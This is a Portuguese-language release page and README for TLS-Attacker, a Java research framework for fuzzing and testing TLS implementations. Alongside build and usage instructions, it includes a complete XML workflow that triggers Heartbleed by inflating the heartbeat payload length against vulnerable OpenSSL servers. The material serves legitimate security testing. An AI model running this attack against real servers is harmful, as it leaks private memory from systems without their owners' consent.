Voltar às atualizações
New releaseJul 31, 2026

TLS-Attacker v7.0.0-rtc

Framework baseado em Java para fuzzing sistemático e análise de bibliotecas TLS. Permite a criação, modificação e teste arbitrário de mensagens de protocolo, bem como testes de clientes/servidores TLS para descoberta de vulnerabilidades.

Compartilhar

TLS-Attacker

GitHub release (latest by date) licence Build Status

O TLS-Attacker é um framework baseado em Java para analisar bibliotecas TLS. Ele é capaz de enviar mensagens de protocolo arbitrárias em uma ordem arbitrária para o peer TLS, e definir suas modificações usando uma interface fornecida. Isso dá ao desenvolvedor a oportunidade de definir facilmente um fluxo de protocolo TLS personalizado e testá-lo contra sua biblioteca TLS.

Por favor, note: O TLS-Attacker é uma ferramenta de pesquisa destinada a desenvolvedores TLS e pentesters. Não há GUI nem luzes verdes/vermelhas.

Compilando e Executando

Para compilar e usar o TLS-Attacker, você precisa ter Java e Maven instalados. No Ubuntu você pode instalar o Maven executando:

$ sudo apt-get install maven

O TLS-Attacker atualmente precisa do Java JDK 21 para executar.

Se você tiver a versão correta do Java, pode executar o comando maven a partir do diretório do TLS-Attacker:

$ git clone https://github.com/tls-attacker/TLS-Attacker.git
$ cd TLS-Attacker
$ mvn clean install

Alternativamente, se estiver com pressa, você pode pular os testes usando:

$ mvn clean install -DskipTests=true

Os arquivos jar resultantes são colocados na pasta "apps".

Se você quiser usar este projeto como dependência, não precisa compilá-lo você mesmo e pode incluí-lo em seu pom .xml da seguinte forma.

<dependency>
    <groupId>de.rub.nds.tls.attacker</groupId>
    <artifactId>tls-attacker</artifactId>
    <version>7.0.0</version>
    <type>pom</type>
</dependency>

O TLS-Attacker vem com aplicações de demonstração que fornecem acesso fácil à funcionalidade do TLS-Attacker.

Você pode executar o TLS-Attacker como cliente com o seguinte comando:

$ cd apps
$ java -jar TLS-Client.jar -connect [host:port]

ou como servidor com:

$ java -jar TLS-Server.jar -port [port]

Embora esses aplicativos de exemplo sejam muito poderosos por si só, o TLS-Attacker libera todo o seu potencial quando usado como uma biblioteca de programação.

Estrutura do Código

O TLS-Attacker consiste em vários projetos (maven):

  • TLS-Client: O aplicativo de exemplo do cliente
  • TLS-Core: A pilha de protocolos e o coração do TLS-Attacker
  • TLS-Mitm: Um protótipo para workflows MitM
  • TLS-Server: O aplicativo de exemplo do servidor
  • TLS-Proxy: Use o TLS-Attacker para SSLSockets
  • TraceTool: Inspeção e modificação de traces de workflow do TLS-Attacker
  • Transport: Utilitários de transporte para camadas inferiores
  • Utils: Uma coleção de classes utilitárias

TLS-Attacker design

Você pode encontrar mais informações sobre esses módulos na Wiki.

Funcionalidades

Atualmente, as seguintes funcionalidades são suportadas:

  • SSL 3, versões TLS 1.0 (RFC-2246), 1.1 (RFC-4346), 1.2 (RFC-5246) e 1.3 (RFC-8446)
  • SSL 2 (Suporte parcial)
  • Algoritmos de troca de chaves (EC)DH(E), RSA, PSK, SRP, GOST e ANON
  • CBC, AEAD e Streamciphers (AES, CAMELLIA, DES, 3DES, IDEA, RC2, ARIA, GOST_28147_CNT_IMIT, RC4, SEED, NULL)
  • ~300 conjuntos de cifras, ~30 Extensões
  • Cliente e Servidor
  • HTTPS
  • Workflows com mais de duas partes
  • Muitas extensões
  • Tokenbinding (EC) e Tokenbinding sobre HTTP
  • Sockets
  • TLS 1.3 0-RTT
  • STARTTLS
  • ...

Uso

Aqui apresentamos alguns exemplos muito simples de uso do TLS-Attacker.

Primeiro, você precisa iniciar um servidor TLS (por favor, não use servidores públicos). Execute o script keygen.sh se ainda não o fez. Por exemplo, você pode usar um servidor de teste OpenSSL:

$ cd TLS-Attacker/resources
$ openssl s_server -key rsa1024key.pem -cert rsa1024cert.pem

Este comando inicia um servidor TLS na porta 4433.

Se você quiser conectar a um servidor, pode usar este comando:

$ cd TLS-Attacker/apps
$ java -jar TLS-Client.jar -connect localhost:4433

Nota: Se este Handshake falhar, provavelmente é porque você não especificou uma suíte de cifras concreta. O TLS-Attacker não respeitará completamente as suítes de cifras selecionadas pelo servidor.

Você pode usar uma suíte de cifras diferente, versão TLS, ou conectar a uma porta diferente com os seguintes parâmetros:

$ java -jar TLS-Client.jar -connect localhost:4433 -cipher TLS_RSA_WITH_AES_256_CBC_SHA -version TLS11

Caso você seja um desenvolvedor mais experiente, pode criar seu próprio fluxo de mensagens TLS escrevendo código Java. Por exemplo:

Config config = Config.createConfig();
WorkflowTrace trace = new WorkflowTrace();
trace.addTlsAction(new SendAction(new ClientHelloMessage()));
trace.addTlsAction(new ReceiveAction(new ServerHelloMessage()));
State state = new State(config, trace);
DefaultWorkflowExecutor executor = new DefaultWorkflowExecutor(state);
executor.executeWorkflow();

O TLS-Attacker usa o conceito de WorkflowTraces para definir um "fluxo de mensagens TLS". Um WorkflowTrace consiste em uma lista de ações que são então executadas uma após a outra. Embora para um "fluxo de mensagens TLS" típico apenas SendAction's e ReceiveAction's sejam necessários, o framework não para por aí e implementa muitas ações diferentes que podem ser usadas para executar fluxos de mensagens ainda mais arbitrários. Uma lista de ações atualmente implementadas com explicações pode ser encontrada na Wiki.

Sabemos que muitos de vocês odeiam Java. Portanto, você também pode usar uma estrutura XML e executar seu protocolo TLS personalizado a partir de XML:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <!-- Send ClientHello -->
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <EllipticCurves/>
                    <SignatureAndHashAlgorithmsExtension/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ClientHello>
        </configuredMessages>
        <configuredRecords>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server response -->
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                    <RenegotiationInfoExtension/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    
    <!-- Send client key exchange and finish -->
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange/>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
        <configuredRecords>
            <record/>
            <record/>
            <record/>
        </configuredRecords>
    </Send>
    
    <!-- Receive server finish -->
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Dado que esta estrutura XML está localizada em TLS-Attacker/apps/workflow.xml, você precisaria apenas executar:

$ java -jar TLS-Client.jar -connect [host]:[port] -workflow_input workflow.xml

Sistema de Protocolo-Attacker/Camada

Originalmente projetado para atacar o protocolo TLS, o TLS-Attacker é capaz de suportar protocolos arbitrários. Para isso, o TLS-Attacker atribui uma pilha de camadas a cada conexão. Esta pilha de camadas consiste nas diferentes camadas de protocolo que o usuário deseja utilizar. Com a pilha de camadas, o usuário pode adicionar camadas como DTLS, ou HTTP (mais estão em andamento) em uma ordem arbitrária.

Para enviar e receber mensagens arbitrárias usando uma pilha de camadas, o usuário pode definir configurações para cada camada. Essas configurações especificam quais mensagens enviar ou receber. Isso também permite que o usuário especifique os contêineres de mensagens/dados específicos da camada para cada camada. Por exemplo, pode-se especificar as mensagens e registros TLS que o TLS-Attacker deve enviar. O TLS-Attacker encapsularia automaticamente as mensagens TLS fornecidas nos registros.

Variáveis Modificáveis

O TLS-Attacker usa o conceito de Variáveis Modificáveis para permitir modificações em tempo de execução em Workflows predefinidos. Variáveis modificáveis permitem definir modificações em tipos básicos antes ou depois que seus valores sejam realmente definidos. Quando seus valores reais são determinados e se tenta acessar o valor via getters, o valor original será retornado em uma forma modificada de acordo. Mais detalhes sobre este conceito podem ser encontrados em https://github.com/tls-attacker/ModifiableVariable.

ModifiableInteger i = new ModifiableInteger();
i.setOriginalValue(30);
i.setModification(new AddModification(20));
System.out.println(i.getValue());  // 50

Neste exemplo, definimos um novo ModifiableInteger e definimos seu valor como 30. Em seguida, definimos uma nova modificação AddModification que simplesmente retorna a soma de dois inteiros. Definimos seu valor como 20. Se executarmos o programa acima, o resultado 50 é impresso.

Podemos, é claro, usar este conceito ao construir nossos workflows TLS. Imagine que você queira testar um servidor quanto a uma vulnerabilidade heartbleed. Para isso, você precisa aumentar o comprimento do payload na solicitação de heartbeat. Com o TLS-Attacker, você pode fazer isso da seguinte forma:

<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<workflowTrace>
    <Send>
        <configuredMessages>
            <ClientHello>
                <extensions>
                    <ECPointFormat/>
                    <HeartbeatExtension/>
                    <EllipticCurves/>
                </extensions>
            </ClientHello>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ServerHello>
                <extensions>
                    <ECPointFormat/>
                </extensions>
            </ServerHello>
            <Certificate/>
            <ServerHelloDone/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <RSAClientKeyExchange>
                <computations/>
            </RSAClientKeyExchange>
            <ChangeCipherSpec/>
            <Finished/>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <ChangeCipherSpec/>
            <Finished/>
        </expectedMessages>
    </Receive>
    <Send>
        <configuredMessages>
            <Heartbeat>
                <payloadLength>
                    <modifications>
                        <integerExplicitValueModification>
                            <explicitValue>20000</explicitValue>
                        </integerExplicitValueModification>
                    </modifications>
                </payloadLength>
            </Heartbeat>
        </configuredMessages>
    </Send>
    <Receive>
        <expectedMessages>
            <Heartbeat/>
        </expectedMessages>
    </Receive>
</workflowTrace>

Como você pode ver, aumentamos explicitamente o comprimento do payload da mensagem heartbeat em 20000. Se você executar o ataque contra um servidor vulnerável (por exemplo, OpenSSL 1.0.1f), deve ver uma resposta de heartbeat válida.

Mais exemplos de ataques e explicações adicionais sobre o TLS-Attacker podem ser encontrados na wiki.

Funcionalidades Avançadas

Algumas ações requerem contexto, ou configuração para serem executadas corretamente. Por exemplo, se o TLS-Attacker tenta enviar uma mensagem ClientHello, ele precisa saber quais valores colocar na mensagem, por exemplo, quais suítes de cifras ou qual versão de protocolo usar. O TLS-Attacker obtém essa informação de um arquivo de configuração (por padrão localizado em TLS-Core/src/main/resources/default_config.xml). Valores que são determinados em tempo de execução são armazenados no TlsContext. Quando um valor que normalmente é selecionado do contexto está faltando (porque uma mensagem ainda não foi recebida), o valor padrão da Config é selecionado. Você pode especificar seu próprio arquivo de configuração a partir da linha de comando com o parâmetro "-config". Note que se você não definir explicitamente um valor padrão no arquivo de configuração, o TLS-Attacker preenche essa lacuna com valores hardcoded (que são iguais à configuração padrão fornecida). Mais detalhes sobre como personalizar o TLS-Attacker podem ser encontrados na wiki.

Agradecimentos

Gostaríamos de agradecer a todos que contribuíram para o projeto TLS-Attacker.

Um agradecimento especial vai para as seguintes pessoas por suas notáveis contribuições:

Muhammad Abubakar, Fabian Albert, Panneer Selvam Annadurai, Nimrod Aviram, Philipp Brinkmann, Till Budde, Florian Bürger, Christoph Buttler, Jens Carl, Raphael Dietrich, Felix Dreissig, Bastian Ebach, Malena Ebert, Robert Engel, Nils Engelbertz, Paul Fiterau Brostean, Janis Fliegenschmidt, Alexander Freiherr von Buddenbrock, Matthias Manfred Geuchen, Alexander Glasfort, Nils Hanke, Lucas Hartmann, Bastian Haverkamp, Nico Heitmann, Jannik Hölling, Selami Hoxha, Kevin Jagla, Nils Kafka, Jan Kaiser, Anton Khristoforov, Felix Kleine-Wilde, Mario Korth, Sebastian Krois, Christian Krug, Florian Linsner, Christian Mainka, Jonas Moos, Simon Nachtigall, Simon Nattefort, Philipp Nieting, Niels Pahl, Christoph Penkert, Florian Pfützenreuter, Adrian Pinner, Malte Poll, Christian Pressler, Tim Reisach, Philip Riese, Nils Luca Rudminat, Henrik Schaefer, Marten Schmidt, Conrad Schmidt, Daniel Siegert, Tim Storm, Rigers Sulku, Bjarne Tempel, Matthias Terlinde, Jonas Thiele, Pierre Tilhaus, Joshua Waldner, Patrick Weixler, Philipp Wirth, Asli Yardim, Dennis Ziebart, David Ziemann, Philipp Ziemke

Mais contribuições e pull requests são bem-vindos.

Artigos Científicos

Os conceitos básicos por trás do TLS-Attacker e vários ataques são descritos no seguinte artigo:

Abaixo, listamos estudos científicos recentes que utilizaram o TLS-Attacker. Você pode encontrar a lista completa na Wiki

Se você tiver alguma ideia de pesquisa ou precisar de suporte, sinta-se à vontade para nos contatar no Twitter (@ic0nz1 , @jurajsomorovsky , @marcelmaehren , @nerinola1 , @JonSnowWhite2) ou em https://www.hackmanit.de/.

Se o TLS-Attacker te ajudar a encontrar um bug em uma implementação TLS, por favor, reconheça esta ferramenta. Obrigado!

Ler mais

Categorias

Análise de VulnerabilidadesFuzzingSegurança de RedeCriptografiaTestes de Penetração